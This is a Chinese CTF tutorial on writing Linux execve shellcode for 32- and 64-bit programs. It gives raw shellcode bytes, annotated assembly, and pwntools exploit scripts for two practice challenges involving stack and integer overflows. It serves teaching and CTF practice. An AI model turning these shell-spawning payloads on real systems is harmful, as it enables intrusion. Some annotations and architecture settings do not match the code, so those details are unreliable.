Shellcode利用原理及方法

什么是 Shellcode？

shellcode 是指一段用于完成某个功能的代码，常见的功能主要是获取目标系统的 shell

运用 shellcode 的前提是程序没有开启 NX 防护，32 位和 64 位程序也有不同的编写方法。

编写 shellcode 的好处是：不需要题目给出后门函数地址就可以获取 shell

32 位 shellcode

**int 80 中断调用 **32位程序通过不同的内核态操作通过给寄存器设置不同的值，再调用 int 80 就可以通知内核完成不同的功能，这就是我们编写 shellcode 的关键点。只要我们通过特定的汇编代码把特定的寄存器设置为特定的值后，再调用 int 80，执行系统函数 execve(“/bin/sh”,NULL,NULL)就可以获取系统 shell。

**32 位系统 shellcode 的编写方法：**1. 将 EAX 寄存器的值设置为 0xb；

                                                  2. 将 EBX 的寄存器设置为"/bin/sh"字符串的地址；

                                                  3. 将 ECX 和 EDX 寄存器的值都设置为 0；<font style="color:rgb(0, 0, 0);background-color:rgba(0, 0, 0, 0);">python</font>

EAX = 0xb；EBX = &(“/bin/sh\x00”)；ECX = EDX = 0

1
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
1
2
3
4
5
6
7
xor ecx,ecx/xor edx,edx/xor eax,eax  将 ecx、edx、eax 清零（利用异或自身的特性，是汇编中高效清零的方式）。
mov al, 0xb                          将 eax 设为 0xb（对应 Linux 系统调用 execve，用于执行程序）。
push ecx                             压入空字节（ecx 已清零），作为字符串结束符。
push 0x68732f2f                      压入字节序列 //sh（小端序存储，实际对应字符串 //bin/sh 的后半部分，用双斜杠是为了凑 4 字节对齐）。
push 0x6e69622f                      压入字节序列 /bin（小端序存储）。                            
mov ebx, esp                         将栈顶地址（即 /bin//sh 的起始地址）存入 ebx（execve 的第一个参数：程序路径）。
int 0x80                             触发 x86 Linux 的系统调用中断，执行 execve("/bin//sh", NULL, NULL)（ecx、edx 已清零，对应 execve 的第二、第三个参数为 NULL）。

64 位 shellcode

64 位程序编写 shellcode 就和 32 位有所不同了，在 64 位程序中我们通过 syscall 调用函数

**64 位 shellcode 的编写方法：**1. 将 RAX 寄存器的值设置为 0x3b；

                                           2. 将 RDI 寄存器的值设置为"/bin/sh"字符串的地址；

                                           3. 将 RSI 和 RDX 寄存器的值都设置为 0；

RAX = 0x3b；RDI = &(“/bin/sh”)；RSI = RDX = 0python

1
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05"
1
2
3
4
5
6
7
8
xor rdx, rdx;      ○ 把寄存器rdx清零，对应系统调用execve的第三个参数（环境变量数组，设为NULL）。
xor rsi, rsi;      ○ 把寄存器rsi清零，对应execve的第二个参数（命令参数数组，设为NULL）。
push 0x68;         ○ 把字节0x68（对应 ASCII 的'h'）压入栈中。
mov rax,0x732f2f2f6e69622f;○ 把十六进制值0x732f2f2f6e69622f存入rax，转成 ASCII 是"s///nib/"（注意 x86-64 是小端序，实际内存中是倒序的）。
push rax;          ○ 把rax中的值压入栈，结合上一步的0x68，栈中会形成字符串"/bin/sh"（完整拼接：0x2f62696e2f2f2f73 + 0x68 → 小端序下是"/bin/sh"）。
mov rdi, rsp;      ○ 把栈顶指针rsp的值（也就是刚才构造的"/bin/sh"字符串的地址）存入rdi，对应execve的第一个参数（程序路径）。
mov rax,0x3b;      ○ 把0x3b存入rax，这是 Linux 系统调用中execve的编号。
syscall;           ○ 触发系统调用，执行execve("/bin/sh", NULL, NULL)，最终获取交互式 shell。

x32）BUU-picoctf_2018_shellcode

1768919481515-bed3980a-2a8a-439b-9e10-cabfedde29f1.png1768920336199-2d169e36-5025-4aa3-908a-be8dee7c7a65.png

32 位程序什么也没有开，可以考虑 shellcode，用 IDA 看一下反汇编，发现 main 函数处并不能被反汇编。

1768920416991-4a61bdb4-5535-45ff-ad7c-144b970b3dfa.png

查看 IDA 的 .text 段发现在执行最后一句话之前调用了 vuln 函数，进一步查看 vuln 函数，发现 gets 我们输入的字符串，之后返回到 puts 函数当中，细心发现后面又调用了 puts 函数，我们就可以编写 shellcode 进行调用。

1
2
3
4
5
int __cdecl vuln(int a1)
{
  gets(a1);
  return puts(a1);
}
1
2
3
4
5
6
from pwn import *
context(os='linux', arch='amd64', log_level='debug')  
# p = process("./BUUCTF1") 
p = remote('node5.buuoj.cn',27317)
p.send(b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")
p.interactive()

看了一看别的师傅的 exp，也可以使用 pwntools 工具去自动编写，两种方法是一样的。

1
2
3
4
5
6
7
8
9
from pwn import *  
r=remote('node5.buuoj.cn',26081)  
context.log_level='debug'  
context.arch='i386'  
context.os='linux'  
shellcode=asm(shellcraft.sh())  
print(shellcode)  
r.send(shellcode)  
r.interactive()

x64）RDCTF-pwn!!!(格式化字符串+64shellcode)

1768828319801-7f1202aa-ec5a-43f9-a045-ecd2c24511af.png

IDA 看一下，就是输入小于等于 10 的数，然后的话就是 buf 好像有个栈溢出，而且给你了 buf 的地址，自己大小 nbyte 由自己输入的 n10 决定，显然 10 个字节是不可能栈溢出的，想办法通过整数溢出造成 buf 的栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ssize_t vuln()
{
  _BYTE buf[100]; // [esp+4h] [ebp-74h] BYREF
  int n10; // [esp+68h] [ebp-10h] BYREF
  unsigned __int16 nbytes; // [esp+6Eh] [ebp-Ah]

  puts("let me check you:");
  puts("remember no more than 10!!!");
  __isoc99_scanf("%d", &n10);
  nbytes = n10;
  if ( n10 > 10 )
  {
    puts("I'm furious, and I'm going to destroy the whole world!!!");
    exit(0);
  }
  printf("yeye... this is a gift you: %p\n", buf);
  puts("please come close to me:");
  return read(0, buf, nbytes);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(arch='i386', os='linux', log_level='debug')

#p = process('./pwn3') 
p = remote('api.wdsec.com.cn', 32605)
p.recvuntil(b'remember no more than 10!!!')
p.sendline(b'-1')
p.recvuntil(b'yeye... this is a gift you: ')
buf = int(p.recvline().strip(), 16)

offset=120
sc = b"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
payload = sc.ljust(offset,b'A') + p32(buf)

p.recvuntil(b'please come close to me:');p.sendline(payload)
p.interactive()

更新: 2026-01-21 00:26:55
原文: https://www.yuque.com/idcm/wnemg9/scirvmqno3f978ib